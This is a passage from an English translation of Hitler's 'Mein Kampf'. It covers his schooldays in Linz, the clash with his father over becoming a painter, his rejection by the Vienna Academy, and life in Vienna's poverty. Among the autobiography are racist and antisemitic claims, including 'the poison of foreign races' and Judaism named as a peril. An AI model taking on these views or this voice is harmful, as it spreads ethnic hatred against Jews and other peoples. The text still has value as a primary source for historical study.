view; for in his opinion drawing +was a subject too much neglected in the Austrian GYMNASIUM. Probably also +the memory of the hard road which he himself had travelled contributed to +make him look upon classical studies as unpractical and accordingly to +set little value on them. At the back of his mind he had the idea that +his son also should become an official of the Government. Indeed he had +decided on that career for me. The difficulties through which he had to +struggle in making his own career led him to overestimate what he had +achieved, because this was exclusively the result of his own +indefatigable industry and energy. The characteristic pride of the +self-made man urged him towards the idea that his son should follow the +same calling and if possible rise to a higher position in it. Moreover, +this idea was strengthened by the consideration that the results of his +own life's industry had placed him in a position to facilitate his son's +advancement in the same career. + +[Note 2. Non-classical secondary school. The Lyceum and GYMNASIUM were +classical or semi-classical secondary schools.] + +He was simply incapable of imagining that I might reject what had meant +everything in life to him. My father's decision was simple, definite, +clear and, in his eyes, it was something to be taken for granted. A man +of such a nature who had become an autocrat by reason of his own hard +struggle for existence, could not think of allowing 'inexperienced' and +irresponsible young fellows to choose their own careers. To act in such +a way, where the future of his own son was concerned, would have been a +grave and reprehensible weakness in the exercise of parental authority +and responsibility, something utterly incompatible with his +characteristic sense of duty. + +And yet it had to be otherwise. + +For the first time in my life--I was then eleven years old--I felt +myself forced into open opposition. No matter how hard and determined my +father might be about putting his own plans and opinions into action, +his son was no less obstinate in refusing to accept ideas on which he +set little or no value. + +I would not become a civil servant. + +No amount of persuasion and no amount of 'grave' warnings could break +down that opposition. I would not become a State official, not on any +account. All the attempts which my father made to arouse in me a love or +liking for that profession, by picturing his own career for me, had only +the opposite effect. It nauseated me to think that one day I might be +fettered to an office stool, that I could not dispose of my own time but +would be forced to spend the whole of my life filling out forms. + +One can imagine what kind of thoughts such a prospect awakened in the +mind of a young fellow who was by no means what is called a 'good boy' +in the current sense of that term. The ridiculously easy school tasks +which we were given made it possible for me to spend far more time in +the open air than at home. To-day, when my political opponents pry into +my life with diligent scrutiny, as far back as the days of my boyhood, +so as finally to be able to prove what disreputable tricks this Hitler +was accustomed to in his young days, I thank heaven that I can look back +to those happy days and find the memory of them helpful. The fields and +the woods were then the terrain on which all disputes were fought out. + +Even attendance at the REALSCHULE could not alter my way of spending my +time. But I had now another battle to fight. + +So long as the paternal plan to make a State functionary contradicted my +own inclinations only in the abstract, the conflict was easy to bear. I +could be discreet about expressing my personal views and thus avoid +constantly recurrent disputes. My own resolution not to become a +Government official was sufficient for the time being to put my mind +completely at rest. I held on to that resolution inexorably. But the +situation became more difficult once I had a positive plan of my own +which I might present to my father as a counter-suggestion. This +happened when I was twelve years old. How it came about I cannot exactly +say now; but one day it became clear to me that I would be a painter--I +mean an artist. That I had an aptitude for drawing was an admitted fact. +It was even one of the reasons why my father had sent me to the +REALSCHULE; but he had never thought of having that talent developed in +such a way that I could take up painting as a professional career. Quite +the contrary. When, as a result of my renewed refusal to adopt his +favourite plan, my father asked me for the first time what I myself +really wished to be, the resolution that I had already formed expressed +itself almost automatically. For a while my father was speechless. "A +painter? An artist-painter?" he exclaimed. + +He wondered whether I was in a sound state of mind. He thought that he +might not have caught my words rightly, or that he had misunderstood +what I meant. But when I had explained my ideas to him and he saw how +seriously I took them, he opposed them with that full determination +which was characteristic of him. His decision was exceedingly simple and +could not be deflected from its course by any consideration of what my +own natural qualifications really were. + +"Artist! Not as long as I live, never." As the son had inherited some of +the father's obstinacy, besides having other qualities of his own, my +reply was equally energetic. But it stated something quite the contrary. + +At that our struggle became stalemate. The father would not abandon his +'Never', and I became all the more consolidated in my 'Nevertheless'. + +Naturally the resulting situation was not pleasant. The old gentleman +was bitterly annoyed; and indeed so was I, although I really loved him. +My father forbade me to entertain any hopes of taking up the art of +painting as a profession. I went a step further and declared that I +would not study anything else. With such declarations the situation +became still more strained, so that the old gentleman irrevocably +decided to assert his parental authority at all costs. That led me to +adopt an attitude of circumspect silence, but I put my threat into +execution. I thought that, once it became clear to my father that I was +making no progress at the REALSCHULE, for weal or for woe, he would be +forced to allow me to follow the happy career I had dreamed of. + +I do not know whether I calculated rightly or not. Certainly my failure +to make progress became quite visible in the school. I studied just the +subjects that appealed to me, especially those which I thought might be +of advantage to me later on as a painter. What did not appear to have +any importance from this point of view, or what did not otherwise appeal +to me favourably, I completely sabotaged. My school reports of that time +were always in the extremes of good or bad, according to the subject and +the interest it had for me. In one column my qualification read 'very +good' or 'excellent'. In another it read 'average' or even 'below +average'. By far my best subjects were geography and, even more so, +general history. These were my two favourite subjects, and I led the +class in them. + +When I look back over so many years and try to judge the results of that +experience I find two very significant facts standing out clearly before +my mind. + +First, I became a nationalist. + +Second, I learned to understand and grasp the true meaning of history. + +The old Austria was a multi-national State. In those days at least the +citizens of the German Empire, taken through and through, could not +understand what that fact meant in the everyday life of the individuals +within such a State. After the magnificent triumphant march of the +victorious armies in the Franco-German War the Germans in the REICH +became steadily more and more estranged from the Germans beyond their +frontiers, partly because they did not deign to appreciate those other +Germans at their true value or simply because they were incapable of +doing so. + +The Germans of the REICH did not realize that if the Germans in Austria +had not been of the best racial stock they could never have given the +stamp of their own character to an Empire of 52 millions, so definitely +that in Germany itself the idea arose--though quite an erroneous +one--that Austria was a German State. That was an error which led to +dire consequences; but all the same it was a magnificent testimony to +the character of the ten million Germans in that East Mark. (Note 3) +Only very few of the Germans in the REICH itself had an idea of the bitter +struggle which those Eastern Germans had to carry on daily for the +preservation of their German language, their German schools and their +German character. Only to-day, when a tragic fate has torn several +millions of our kinsfolk away from the REICH and has forced them to live +under the rule of the stranger, dreaming of that common fatherland +towards which all their yearnings are directed and struggling to uphold +at least the sacred right of using their mother tongue--only now have +the wider circles of the German population come to realize what it means +to have to fight for the traditions of one's race. And so at last +perhaps there are people here and there who can assess the greatness of +that German spirit which animated the old East Mark and enabled those +people, left entirely dependent on their own resources, to defend the +Empire against the Orient for several centuries and subsequently to hold +fast the frontiers of the German language through a guerilla warfare of +attrition, at a time when the German Empire was sedulously cultivating +an interest for colonies but not for its own flesh and blood before the +threshold of its own door. + +[Note 3. See Translator's Introduction.] + +What has happened always and everywhere, in every kind of struggle, +happened also in the language fight which was carried on in the old +Austria. There were three groups--the fighters, the hedgers and the +traitors. Even in the schools this sifting already began to take place. +And it is worth noting that the struggle for the language was waged +perhaps in its bitterest form around the school; because this was the +nursery where the seeds had to be watered which were to spring up and +form the future generation. The tactical objective of the fight was the +winning over of the child, and it was to the child that the first +rallying cry was addressed: + +"German youth, do not forget that you are a German," and "Remember, +little girl, that one day you must be a German mother." + +Those who know something of the juvenile spirit can understand how youth +will always lend a glad ear to such a rallying cry. Under many forms the +young people led the struggle, fighting in their own way and with their +own weapons. They refused to sing non-German songs. The greater the +efforts made to win them away from their German allegiance, the more +they exalted the glory of their German heroes. They stinted themselves +in buying things to eat, so that they might spare their pennies to help +the war chest of their elders. They were incredibly alert in the +significance of what the non-German teachers said and they contradicted +in unison. They wore the forbidden emblems of their own kinsfolk and +were happy when penalised for doing so, or even physically punished. In +miniature they were mirrors of loyalty from which the older people might +learn a lesson. + +And thus it was that at a comparatively early age I took part in the +struggle which the nationalities were waging against one another in the +old Austria. When meetings were held for the South Mark German League +and the School League we wore cornflowers and black-red-gold colours to +express our loyalty. We greeted one another with HEIL! and instead of +the Austrian anthem we sang our own DEUTSCHLAND ÜBER ALLES, despite +warnings and penalties. Thus the youth were educated politically at a +time when the citizens of a so-called national State for the most part +knew little of their own nationality except the language. Of course, I +did not belong to the hedgers. Within a little while I had become an +ardent 'German National', which has a different meaning from the party +significance attached to that phrase to-day. + +I developed very rapidly in the nationalist direction, and by the time I +was 15 years old I had come to understand the distinction between +dynastic patriotism and nationalism based on the concept of folk, or +people, my inclination being entirely in favour of the latter. + +Such a preference may not perhaps be clearly intelligible to those who +have never taken the trouble to study the internal conditions that +prevailed under the Habsburg Monarchy. + +Among historical studies universal history was the subject almost +exclusively taught in the Austrian schools, for of specific Austrian +history there was only very little. The fate of this State was closely +bound up with the existence and development of Germany as a whole; so a +division of history into German history and Austrian history would be +practically inconceivable. And indeed it was only when the German people +came to be divided between two States that this division of German +history began to take place. + +The insignia (Note 4) of a former imperial sovereignty which were still +preserved in Vienna appeared to act as magical relics rather than as the +visible guarantee of an everlasting bond of union. + +[Note 4. When Francis II had laid down his title as Emperor of the Holy +Roman Empireof the German Nation, which he did at the command of Napoleon, +the Crownand Mace, as the Imperial Insignia, were kept in Vienna. After +the German Empire was refounded, in 1871, under William I, there were many +demands tohave the Insignia transferred to Berlin. But these went +unheeded. Hitler had them brought to Germany after the Austrian Anschluss +and displayed at Nuremberg during the Party Congress in September 1938.] + +When the Habsburg State crumbled to pieces in 1918 the Austrian Germans +instinctively raised an outcry for union with their German fatherland. +That was the voice of a unanimous yearning in the hearts of the whole +people for a return to the unforgotten home of their fathers. But such a +general yearning could not be explained except by attributing the cause +of it to the historical training through which the individual Austrian +Germans had passed. Therein lay a spring that never dried up. Especially +in times of distraction and forgetfulness its quiet voice was a reminder +of the past, bidding the people to look out beyond the mere welfare of +the moment to a new future. + +The teaching of universal history in what are called the middle schools +is still very unsatisfactory. Few teachers realize that the purpose of +teaching history is not the memorizing of some dates and facts, that the +student is not interested in knowing the exact date of a battle or the +birthday of some marshal or other, and not at all--or at least only very +insignificantly--interested in knowing when the crown of his fathers was +placed on the brow of some monarch. These are certainly not looked upon +as important matters. + +To study history means to search for and discover the forces that are +the causes of those results which appear before our eyes as historical +events. The art of reading and studying consists in remembering the +essentials and forgetting what is not essential. + +Probably my whole future life was determined by the fact that I had a +professor of history who understood, as few others understand, how to +make this viewpoint prevail in teaching and in examining. This teacher +was Dr. Leopold Poetsch, of the REALSCHULE at Linz. He was the ideal +personification of the qualities necessary to a teacher of history in +the sense I have mentioned above. An elderly gentleman with a decisive +manner but a kindly heart, he was a very attractive speaker and was able +to inspire us with his own enthusiasm. Even to-day I cannot recall +without emotion that venerable personality whose enthusiastic exposition +of history so often made us entirely forget the present and allow +ourselves to be transported as if by magic into the past. He penetrated +through the dim mist of thousands of years and transformed the +historical memory of the dead past into a living reality. When we +listened to him we became afire with enthusiasm and we were sometimes +moved even to tears. + +It was still more fortunate that this professor was able not only to +illustrate the past by examples from the present but from the past he +was also able to draw a lesson for the present. He understood better +than any other the everyday problems that were then agitating our minds. +The national fervour which we felt in our own small way was utilized by +him as an instrument of our education, inasmuch as he often appealed to +our national sense of honour; for in that way he maintained order and +held our attention much more easily than he could have done by any other +means. It was because I had such a professor that history became my +favourite subject. As a natural consequence, but without the conscious +connivance of my professor, I then and there became a young rebel. But +who could have studied German history under such a teacher and not +become an enemy of that State whose rulers exercised such a disastrous +influence on the destinies of the German nation? Finally, how could one +remain the faithful subject of the House of Habsburg, whose past history +and present conduct proved it to be ready ever and always to betray the +interests of the German people for the sake of paltry personal +interests? Did not we as youngsters fully realize that the House of +Habsburg did not, and could not, have any love for us Germans? + +What history taught us about the policy followed by the House of +Habsburg was corroborated by our own everyday experiences. In the north +and in the south the poison of foreign races was eating into the body of +our people, and even Vienna was steadily becoming more and more a +non-German city. The 'Imperial House' favoured the Czechs on every +possible occasion. Indeed it was the hand of the goddess of eternal +justice and inexorable retribution that caused the most deadly enemy of +Germanism in Austria, the Archduke Franz Ferdinand, to fall by the very +bullets which he himself had helped to cast. Working from above +downwards, he was the chief patron of the movement to make Austria a +Slav State. + +The burdens laid on the shoulders of the German people were enormous and +the sacrifices of money and blood which they had to make were incredibly +heavy. + +Yet anybody who was not quite blind must have seen that it was all in +vain. What affected us most bitterly was the consciousness of the fact +that this whole system was morally shielded by the alliance with +Germany, whereby the slow extirpation of Germanism in the old Austrian +Monarchy seemed in some way to be more or less sanctioned by Germany +herself. Habsburg hypocrisy, which endeavoured outwardly to make the +people believe that Austria still remained a German State, increased the +feeling of hatred against the Imperial House and at the same time +aroused a spirit of rebellion and contempt. + +But in the German Empire itself those who were then its rulers saw +nothing of what all this meant. As if struck blind, they stood beside a +corpse and in the very symptoms of decomposition they believed that they +recognized the signs of a renewed vitality. In that unhappy alliance +between the young German Empire and the illusory Austrian State lay the +germ of the World War and also of the final collapse. + +In the subsequent pages of this book I shall go to the root of the +problem. Suffice it to say here that in the very early years of my youth +I came to certain conclusions which I have never abandoned. Indeed I +became more profoundly convinced of them as the years passed. They were: +That the dissolution of the Austrian Empire is a preliminary condition +for the defence of Germany; further, that national feeling is by no +means identical with dynastic patriotism; finally, and above all, that +the House of Habsburg was destined to bring misfortune to the German +nation. + +As a logical consequence of these convictions, there arose in me a +feeling of intense love for my German-Austrian home and a profound +hatred for the Austrian State. + +That kind of historical thinking which was developed in me through my +study of history at school never left me afterwards. World history +became more and more an inexhaustible source for the understanding of +contemporary historical events, which means politics. Therefore I will +not "learn" politics but let politics teach me. + +A precocious revolutionary in politics I was no less a precocious +revolutionary in art. At that time the provincial capital of Upper +Austria had a theatre which, relatively speaking, was not bad. Almost +everything was played there. When I was twelve years old I saw William +Tell performed. That was my first experience of the theatre. Some months +later I attended a performance of LOHENGRIN, the first opera I had ever +heard. I was fascinated at once. My youthful enthusiasm for the Bayreuth +Master knew no limits. Again and again I was drawn to hear his operas; +and to-day I consider it a great piece of luck that these modest +productions in the little provincial city prepared the way and made it +possible for me to appreciate the better productions later on. + +But all this helped to intensify my profound aversion for the career +that my father had chosen for me; and this dislike became especially +strong as the rough corners of youthful boorishness became worn off, a +process which in my case caused a good deal of pain. I became more and +more convinced that I should never be happy as a State official. And now +that the REALSCHULE had recognized and acknowledged my aptitude for +drawing, my own resolution became all the stronger. Imprecations and +threats had no longer any chance of changing it. I wanted to become a +painter and no power in the world could force me to become a civil +servant. The only peculiar feature of the situation now was that as I +grew bigger I became more and more interested in architecture. I +considered this fact as a natural development of my flair for painting +and I rejoiced inwardly that the sphere of my artistic interests was +thus enlarged. I had no notion that one day it would have to be +otherwise. + +The question of my career was decided much sooner than I could have +expected. + +When I was in my thirteenth year my father was suddenly taken from us. +He was still in robust health when a stroke of apoplexy painlessly ended +his earthly wanderings and left us all deeply bereaved. His most ardent +longing was to be able to help his son to advance in a career and thus +save me from the harsh ordeal that he himself had to go through. But it +appeared to him then as if that longing were all in vain. And yet, +though he himself was not conscious of it, he had sown the seeds of a +future which neither of us foresaw at that time. + +At first nothing changed outwardly. + +My mother felt it her duty to continue my education in accordance with +my father's wishes, which meant that she would have me study for the +civil service. For my own part I was even more firmly determined than +ever before that under no circumstances would I become an official of +the State. The curriculum and teaching methods followed in the middle +school were so far removed from my ideals that I became profoundly +indifferent. Illness suddenly came to my assistance. Within a few weeks +it decided my future and put an end to the long-standing family +conflict. My lungs became so seriously affected that the doctor advised +my mother very strongly not under any circumstances to allow me to take +up a career which would necessitate working in an office. He ordered +that I should give up attendance at the REALSCHULE for a year at least. +What I had secretly desired for such a long time, and had persistently +fought for, now became a reality almost at one stroke. + +Influenced by my illness, my mother agreed that I should leave the +REALSCHULE and attend the Academy. + +Those were happy days, which appeared to me almost as a dream; but they +were bound to remain only a dream. Two years later my mother's death put +a brutal end to all my fine projects. She succumbed to a long and +painful illness which from the very beginning permitted little hope of +recovery. Though expected, her death came as a terrible blow to me. I +respected my father, but I loved my mother. + +Poverty and stern reality forced me to decide promptly. + +The meagre resources of the family had been almost entirely used up +through my mother's severe illness. The allowance which came to me as an +orphan was not enough for the bare necessities of life. Somehow or other +I would have to earn my own bread. + +With my clothes and linen packed in a valise and with an indomitable +resolution in my heart, I left for Vienna. I hoped to forestall fate, as +my father had done fifty years before. I was determined to become +'something'--but certainly not a civil servant. + + + + +CHAPTER II + + + +YEARS OF STUDY AND SUFFERING IN VIENNA + + +When my mother died my fate had already been decided in one respect. +During the last months of her illness I went to Vienna to take the +entrance examination for the Academy of Fine Arts. Armed with a bulky +packet of sketches, I felt convinced that I should pass the examination +quite easily. At the REALSCHULE I was by far the best student in the +drawing class, and since that time I had made more than ordinary +progress in the practice of drawing. Therefore I was pleased with myself +and was proud and happy at the prospect of what I considered an assured +success. + +But there was one misgiving: It seemed to me that I was better qualified +for drawing than for painting, especially in the various branches of +architectural drawing. At the same time my interest in architecture was +constantly increasing. And I advanced in this direction at a still more +rapid pace after my first visit to Vienna, which lasted two weeks. I was +not yet sixteen years old. I went to the Hof Museum to study the +paintings in the art gallery there; but the building itself captured +almost all my interest, from early morning until late at night I spent +all my time visiting the various public buildings. And it was the +buildings themselves that were always the principal attraction for me. +For hours and hours I could stand in wonderment before the Opera and the +Parliament. The whole Ring Strasse had a magic effect upon me, as if it +were a scene from the Thousand-and-one-Nights. + +And now I was here for the second time in this beautiful city, +impatiently waiting to hear the result of the entrance examination but +proudly confident that I had got through. I was so convinced of my +success that when the news that I had failed to pass was brought to me +it struck me like a bolt from the skies. Yet the fact was that I had +failed. I went to see the Rector and asked him to explain the reasons +why they refused to accept me as a student in the general School of +Painting, which was part of the Academy. He said that the sketches which +I had brought with me unquestionably showed that painting was not what I +was suited for but that the same sketches gave clear indications of my +aptitude for architectural designing. Therefore the School of Painting +did not come into question for me but rather the School of Architecture, +which also formed part of the Academy. At first it was impossible to +understand how this could be so, seeing that I had never been to a +school for architecture and had never received any instruction in +architectural designing. + +When I left the Hansen Palace, on the SCHILLER PLATZ, I was quite +crestfallen. I felt out of sorts with myself for the first time in my +young life. For what I had heard about my capabilities now appeared to +me as a lightning flash which clearly revealed a dualism under which I +had been suffering for a long time, but hitherto I could give no clear +account whatsoever of the why and wherefore. + +Within a few days I myself also knew that I ought to become an +architect. But of course the way was very difficult. I was now forced +bitterly to rue my former conduct in neglecting and despising certain +subjects at the REALSCHULE. Before taking up the courses at the School +of Architecture in the Academy it was necessary to attend the Technical +Building School; but a necessary qualification for entrance into this +school was a Leaving Certificate from the Middle School. And this I +simply did not have. According to the human measure of things my dream +of following an artistic calling seemed beyond the limits of +possibility. + +After the death of my mother I came to Vienna for the third time. This +visit was destined to last several years. Since I had been there before +I had recovered my old calm and resoluteness. The former self-assurance +had come back, and I had my eyes steadily fixed on the goal. I would be +an architect. Obstacles are placed across our path in life, not to be +boggled at but to be surmounted. And I was fully determined to surmount +these obstacles, having the picture of my father constantly before my +mind, who had raised himself by his own efforts to the position of a +civil servant though he was the poor son of a village shoemaker. I had a +better start, and the possibilities of struggling through were better. +At that time my lot in life seemed to me a harsh one; but to-day I see +in it the wise workings of Providence. The Goddess of Fate clutched me +in her hands and often threatened to smash me; but the will grew +stronger as the obstacles increased, and finally the will triumphed. + +I am thankful for that period of my life, because it hardened me and +enabled me to be as tough as I now am. And I am even more thankful +because I appreciate the fact that I was thus saved from the emptiness +of a life of ease and that a mother's darling was taken from tender arms +and handed over to Adversity as to a new mother. Though I then rebelled +against it as too hard a fate, I am grateful that I was thrown into a +world of misery and poverty and thus came to know the people for whom I +was afterwards to fight. + +It was during this period that my eyes were opened to two perils, the +names of which I scarcely knew hitherto and had no notion whatsoever of +their terrible significance for the existence of the German people. +These two perils were Marxism and Judaism. + +For many people the name of Vienna signifies innocent jollity, a festive +place for happy mortals. For me, alas, it is a living memory of the +saddest period in my life. Even to-day the mention of that city arouses +only gloomy thoughts in my mind. Five years of poverty in that Phaecian +(Note 5) town. Five years in which, first as a casual labourer and then as +a painter of little trifles, I had to earn my daily bread. And a meagre +morsel indeed it was, not even sufficient to still the hunger which I +constantly felt. That hunger was the faithful guardian which never left +me but took part in everything I did. Every book that I bought meant +renewed hunger, and every visit I paid to the opera meant the intrusion +of that inalienabl companion during the following days. I was always +struggling with my unsympathic friend. And yet during that time I +learned more than I had ever learned before. Outside my architectural +studies and rare visits to the opera, for which I had to deny myself +food, I had no other pleasure in life except my books. + +[Note 5. The Phaecians were a legendary people, mentioned in Homer's +Odyssey. They were supposed to live on some unknown island in the Eastern +Mediterranean, sometimes suggested to be Corcyra, the modern Corfu. They +loved good living more than work, and so the name Phaecian has come to be +a synonym for parasite.] + +I read a great deal then, and I pondered deeply over what I read. All +the free time after work was devoted exclusively to study. Thus within a +few years I was able to acquire a stock of knowledge which I find useful +even to-day. + +But more than that. During those years a view of life and a definite +outlook on the world took shape in my mind. These became the granite +basis of my conduct at that time. Since then I have extended that +foundation only very little, and I have changed nothing in it. + +On the contrary: I am firmly convinced to-day that, generally speaking, +it is in youth that men lay the essential groundwork of their creative +thought, wherever that creative thought exists. I make a distinction +between the wisdom of age--which can only arise from the greater +profundity and foresight that are based on the experiences of a long +life--and the creative genius of youth, which blossoms out in thought +and ideas with inexhaustible fertility, without being able to put these +into practice immediately, because of their very superabundance. These +furnish the building materials and plans for the future; and it is from +them that age takes the stones and builds the edifice, unless the +so-called wisdom of the years may have smothered the creative genius of +youth. + +The life which I had hitherto led at home with my parents differed in +little or nothing from that of all the others. I looked forward without +apprehension to the morrow, and there was no such thing as a social +problem to be faced. Those among whom I passed my young days belonged to +the small bourgeois class. Therefore it was a world that had very little +contact with the world of genuine manual labourers. For, though at first +this may appear astonishing, the ditch which separates that class, which +is by no means economically well-off; from the manual labouring class is +often deeper than people think. The reason for this division, which we +may almost call enmity, lies in the fear that dominates a social group +which has only just risen above the level of the manual labourer--a fear +lest it may fall back into its old condition or at least be classed with +the labourers. Moreover, there is something repulsive in remembering the +cultural indigence of that lower class and their rough manners with one +another; so that people who are only on the first rung of the social +ladder find it unbearable to be forced to have any contact with the +cultural level and standard of living out of which they have passed. + +And so it happens that very often those who belong to what can really be +called the upper classes find it much easier than do the upstarts to +descend to and intermingle with their fellow beings on the lowest social +level. For by the word upstart I mean everyone who has raised himself +through his own efforts to a social level higher than that to which he +formerly belonged. In the case of such a person the hard struggle +through which he passes often destroys his normal human sympathy. His +own fight for existence kills his sensibility for the misery of those +who have been left behind. + +From this point of view fate had been kind to me. Circumstances forced +me to return to that world of poverty and economic insecurity above +which my father had raised himself in his early days; and thus the +blinkers of a narrow PETIT BOURGEOIS education were torn from my eyes. +Now for the first time I learned to know men and I learned to +distinguish between empty appearances or brutal manners and the real +inner nature of the people who outwardly appeared thus. + +At the beginning of the century Vienna had already taken rank among +those cities where social conditions are iniquitous. Dazzling riches and +loathsome destitution were intermingled in violent contrast. In the +centre and in the Inner City one felt the pulse-beat of an Empire which +had a population of fifty-two millions, with all the perilous charm of a +State made up of multiple nationalities. The dazzling splendour of the +Court acted like a magnet on the wealth and intelligence of the whole +Empire. And this attraction was further strengthened by the dynastic +policy of the Habsburg Monarchy in centralizing everything in itself and +for itself. + +This centralizing policy was necessary in order to hold together that +hotchpotch of heterogeneous nationalities. But the result of it was an +extraordinary concentration of higher officials in the city, which was +at one and the same time the metropolis and imperial residence. + +But Vienna was not merely the political and intellectual centre of the +Danubian Monarchy; it was also the commercial centre. Besides the horde +of military officers of high rank, State officials, artists and +scientists, there was the still vaster horde of workers. Abject poverty +confronted the wealth of the aristocracy and the merchant class face to +face. Thousands of unemployed loitered in front of the palaces on the +Ring Strasse; and below that VIA TRIUMPHALIS of the old Austria the +homeless huddled together in the murk and filth of the canals. + +There was hardly any other German city in which the social problem could +be studied better than in Vienna. But here I must utter a warning +against the illusion that this problem can be 'studied' from above +downwards. The man who has never been in the clutches of that crushing +viper can never know what its poison is. An attempt to study it in any +other way will result only in superficial talk and sentimental +delusions. Both are harmful. The first because it can never go to the +root of the question, the second because it evades the question +entirely. I do not know which is the more nefarious: to ignore social +distress, as do the majority of those who have been favoured by fortune +and those who have risen in the social scale through their own routine +labour, or the equally supercilious and often tactless but always +genteel condescension displayed by people who make a fad of being +charitable and who plume themselves on 'sympathising with the people.' +Of course such persons sin more than they can imagine from lack of +instinctive understanding. And thus they are astonished to find that the +'social conscience' on which they pride themselves never produces any +results, but often causes their good intentions to be resented; and then +they talk of the ingratitude of the people. + +Such persons are slow to learn that here there is no place for merely +social activities and that there can be no expectation of gratitude; for +in this connection there is no question at all of distributing favours +but essentially a matter of retributive justice. I was protected against +the temptation to study the social question in the way just mentioned, +for the simple reason that I was forced to live in the midst of +poverty-stricken people. Therefore it was not a question of studying the +problem objectively, but rather one of testing its effects on myself. +Though the rabbit came through the ordeal of the experiment, this must +not be taken as evidence of its harmlessness. + +When I try to-day to recall the succession of impressions received +during that time I find that I can do so only with approximate +completeness. Here I shall describe only the more essential impressions +and those which personally affected me and often staggered me. And I +shall mention the few lessons I then learned from this experience. + +At that time it was for the most part not very difficult to find work, +because I had to seek work not as a skilled tradesman but as a so-called +extra-hand ready to take any job that turned up by chance, just for the +sake of earning my daily bread. + +Thus I found myself in the same situation as all those emigrants who +shake the dust of Europe from their feet, with the cast-iron +determination to lay the foundations of a new existence in the New World +and acquire for themselves a new home. Liberated from all the paralysing +prejudices of class and calling, environment and tradition, they enter +any service that opens its doors to them, accepting any work that comes +their way, filled more and more with the idea that honest work never +disgraced anybody, no matter what kind it may be. And so I was resolved +to set both feet in what was for me a new world and push forward on my +own road. + +I soon found out that there was some kind of work always to be got, but +I also learned that it could just as quickly and easily be lost. The +uncertainty of being able to earn a regular daily livelihood soon +appeared to me as the gloomiest feature in this new life that I had +entered. + +Although the skilled worker was not so frequently thrown idle on the +streets as the unskilled worker, yet the former was by no means +protected against the same fate; because though he may not have to face +hunger as a result of unemployment due to the lack of demand in the +labour market, the lock-out and the strike deprived the skilled worker +of the chance to earn his bread. Here the element of uncertainty in +steadily earning one's daily bread was the bitterest feature of the +whole social-economic system itself. + +The country lad who migrates to the big city feels attracted by what has +been described as easy work--which it may be in reality--and few working +hours. He is especially entranced by the magic glimmer spread over the +big cities. Accustomed in the country to earn a steady wage, he has been +taught not to quit his former post until a new one is at least in sight. +As there is a great scarcity of agricultural labour, the probability of +long unemployment in the country has been very small. It is a mistake to +presume that the lad who leaves the countryside for the town is not made +of such sound material as those who remain at home to work on the land. +On the contrary, experience shows that it is the more healthy and more +vigorous that emigrate, and not the reverse. Among these emigrants I +include not merely those who emigrate to America, but also the servant +boy in the country who decides to leave his native village and migrate +to the big city where he will be a stranger. He is ready to take the +risk of an uncertain fate. In most cases he comes to town with a little +money in his pocket and for the first few days he is not discouraged if +he should not have the good fortune to find work. But if he finds a job +and then loses it in a little while, the case is much worse. To find +work anew, especially in winter, is often difficult and indeed sometimes +impossible. For the first few weeks life is still bearable He receives +his out-of-work money from his trade union and is thus enabled to carry +on. But when the last of his own money is gone and his trade union +ceases to pay out because of the prolonged unemployment, then comes the +real distress. He now loiters about and is hungry. Often he pawns or +sells the last of his belongings. His clothes begin to get shabby and +with the increasing poverty of his outward appearance he descends to a +lower social level and mixes up with a class of human beings through +whom his mind is now poisoned, in addition to his physical misery. Then +he has nowhere to sleep and if that happens in winter, which is very +often the case, he is in dire distress. Finally he gets work. But the +old story repeats itself. A second time the same thing happens. Then a +third time; and now it is probably much worse. Little by little he +becomes indifferent to this everlasting insecurity. Finally he grows +used to the repetition. Thus even a man who is normally of industrious +habits grows careless in his whole attitude towards life and gradually +becomes an instrument in the hands of unscrupulous people who exploit +him for the sake of their own ignoble aims. He has been so often thrown +out of employment through no fault of his own that he is now more or +less indifferent whether the strike in which he takes part be for the +purpose of securing his economic rights or be aimed at the destruction +of the State, the whole social order and even civilization itself. +Though the idea of going on strike may not be to his natural liking, yet +he joins in it out of sheer indifference. + +I saw this process exemplified before my eyes in thousands of cases. And +the longer I observed it the greater became my dislike for that mammoth +city which greedily attracts men to its bosom, in order to break them +mercilessly in the end. When they came they still felt themselves in +communion with their own people at home; if they remained that tie was +broken. + +I was thrown about so much in the life of the metropolis that I +experienced the workings of this fate in my own person and felt the +effects of it in my own soul. One thing stood out clearly before my +eyes: It was the sudden changes from work to idleness and vice versa; so +that the constant fluctuations thus caused by earnings and expenditure +finally destroyed the 'sense of thrift for many people and also the +habit of regulating expenditure in an intelligent way. The body appeared +to grow accustomed to the vicissitudes of food and hunger, eating +heartily in good times and going hungry in bad. Indeed hunger shatters +all plans for rationing expenditure on a regular scale in better times +when employment is again found. The reason for this is that the +deprivations which the unemployed worker has to endure must be +compensated for psychologically by a persistent mental mirage in which +he imagines himself eating heartily once again. And this dream develops +into such a longing that it turns into a morbid impulse to cast off all +self-restraint when work and wages turn up again. Therefore the moment +work is found anew he forgets to regulate the expenditure of his +earnings but spends them to the full without thinking of to-morrow. This +leads to confusion in the little weekly housekeeping budget, because the +expenditure is not rationally planned. When the phenomenon which I have +mentioned first happens, the earnings will last perhaps for five days +instead of seven; on subsequent occasions they will last only for three +days; as the habit recurs, the earnings will last scarcely for a day; +and finally they will disappear in one night of feasting. + +Often there are wife and children at home. And in many cases it happens +that these become infected by such a way of living, especially if the +husband is good to them and wants to do the best he can for them and +loves them in his own way and according to his own lights. Then the +week's earnings are spent in common at home within two or three days. +The family eat and drink together as long as the money lasts and at the +end of the week they hunger together. Then the wife wanders about +furtively in the neighbourhood, borrows a little, and runs up small +debts with the shopkeepers in an effort to pull through the lean days +towards the end of the week. They sit down together to the midday meal +with only meagre fare on the table, and often even nothing to eat. They +wait for the coming payday, talking of it and making plans; and while +they are thus hungry they dream of the plenty that is to come. And so +the little children become acquainted with misery in their early years. + +But the evil culminates when the husband goes his own way from the +beginning of the week and the wife protests, simply out of love for the +children. Then there are quarrels and bad feeling and the husband takes +to drink according as he becomes estranged from his wife. He now becomes +drunk every Saturday. Fighting for her own existence and that of the +children, the wife has to hound him along the road from the factory to +the tavern in order to get a few shillings from him on payday. Then when +he finally comes home, maybe on the Sunday or the Monday, having parted +with his last shillings and pence, pitiable scenes follow, scenes that +cry out for God's mercy. + +I have had actual experience of all this in hundreds of cases. At first +I was disgusted and indignant; but later on I came to recognize the +whole tragedy of their misfortune and to understand the profound causes +of it. They were the unhappy victims of evil circumstances. + +Housing conditions were very bad at that time. The Vienna manual +labourers lived in surroundings of appalling misery. I shudder even +to-day when I think of the woeful dens in which people dwelt, the night +shelters and the slums, and all the tenebrous spectacles of ordure, +loathsome filth and wickedness. + +What will happen one day when hordes of emancipated slaves come forth +from these dens of misery to swoop down on their unsuspecting fellow +men? For this other world does not think about such a possibility. They +have allowed these things to go on without caring and even without +suspecting--in 